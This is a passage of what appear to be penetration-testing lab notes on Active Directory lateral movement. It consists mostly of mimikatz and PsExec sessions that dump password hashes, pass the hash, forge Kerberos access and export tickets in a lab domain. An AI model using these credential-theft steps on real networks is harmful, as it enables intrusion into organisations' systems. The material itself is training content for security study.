32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Privilege &amp;#39;20&amp;#39; OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Authentication Id : 0 ; 1142030 (00000000:00116d0e)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session : Interactive from 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User Name : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Server : DC1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Time : 2/27/2023 7:43:20 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SID : S-1-5-21-1987370270-658905905-1781884369-1124&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; msv :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [00000003] Primary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * NTLM : 369def79d8372408bf6e93364cc93075&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * DPAPI : ed6686fedb60840cd49b5286a7c08fa4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; tspkg :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; wdigest :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kerberos :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ssp :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; credman :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user : jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;domain : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;program : powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impers. : no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NTLM : 369def79d8372408bf6e93364cc93075&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | PID 8716&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | TID 8348&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | LSA Process is now R/W&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | LUID 0 ; 16534348 (00000000:00fc4b4c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ kerberos - data copy @ 000001F3D5D366C8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 -&amp;gt; null&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ des_cbc_md4 OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; \_ *Password replace @ 000001F3D5C63B68 (32) -&amp;gt; null&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x1583ae&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The operations above open a new shell with PTH but create no tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net use \\files04&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x17239e&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (2)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#0&amp;gt; Client: jen @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: krbtgt/CORP.COM @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40e10000 -&amp;gt; forwardable renewable initial pre_authent name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 2/27/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 2/27/2023 15:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 3/6/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: RSADSI RC4-HMAC(NT)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0x1 -&amp;gt; PRIMARY&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called: DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1&amp;gt; Client: jen @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: cifs/files04 @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40a10000 -&amp;gt; forwardable renewable pre_authent name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 2/27/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 2/27/2023 15:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 3/6/2023 5:27:28 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called: DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# With a cifs ticket, PTH can be performed directly as shown below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This may be more covert because it converts the HTLM hash into a Kerberos TGT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; cd C:\tools\SysinternalsSuite\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\tools\SysinternalsSuite&amp;gt; .\PsExec.exe \\files04 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec v2.4 - Execute processes remotely&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyright (C) 2001-2022 Mark Russinovich&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sysinternals - www.sysinternals.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Microsoft Windows [Version 10.0.20348.169]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(c) Microsoft Corporation. All rights reserved.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\system32&amp;gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;corp\jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\system32&amp;gt;hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FILES04&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Passing Tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;span class="lnt"&gt;83&#10;&lt;/span&gt;&lt;span class="lnt"&gt;84&#10;&lt;/span&gt;&lt;span class="lnt"&gt;85&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This was covered earlier but is noted again here&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;corp\jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Windows\system32&amp;gt; ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls : Access to the path &amp;#39;\\web04\backup&amp;#39; is denied.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;At line:1 char:1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ ~~~~~~~~~~~~~~~~~&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz #privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Privilege &amp;#39;20&amp;#39; OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz #sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Authentication Id : 0 ; 2037286 (00000000:001f1626)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session : Batch from 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User Name : dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain : CORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Server : DC1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Time : 9/14/2022 6:24:17 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SID : S-1-5-21-1987370270-658905905-1781884369-1103&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Username : dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Domain : CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * Password : (null)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 0 - Ticket Granting Service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 1 - Client Ticket ?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Group 2 - Ticket Granting Ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [00000000]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Target Name (02) : krbtgt ; CORP ; @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Client Name (01) : dave ; @ CORP.COM ( CORP )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key : 0x00000012 - aes256_hmac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket : 0x00000012 - aes256_hmac ; kvno = 2 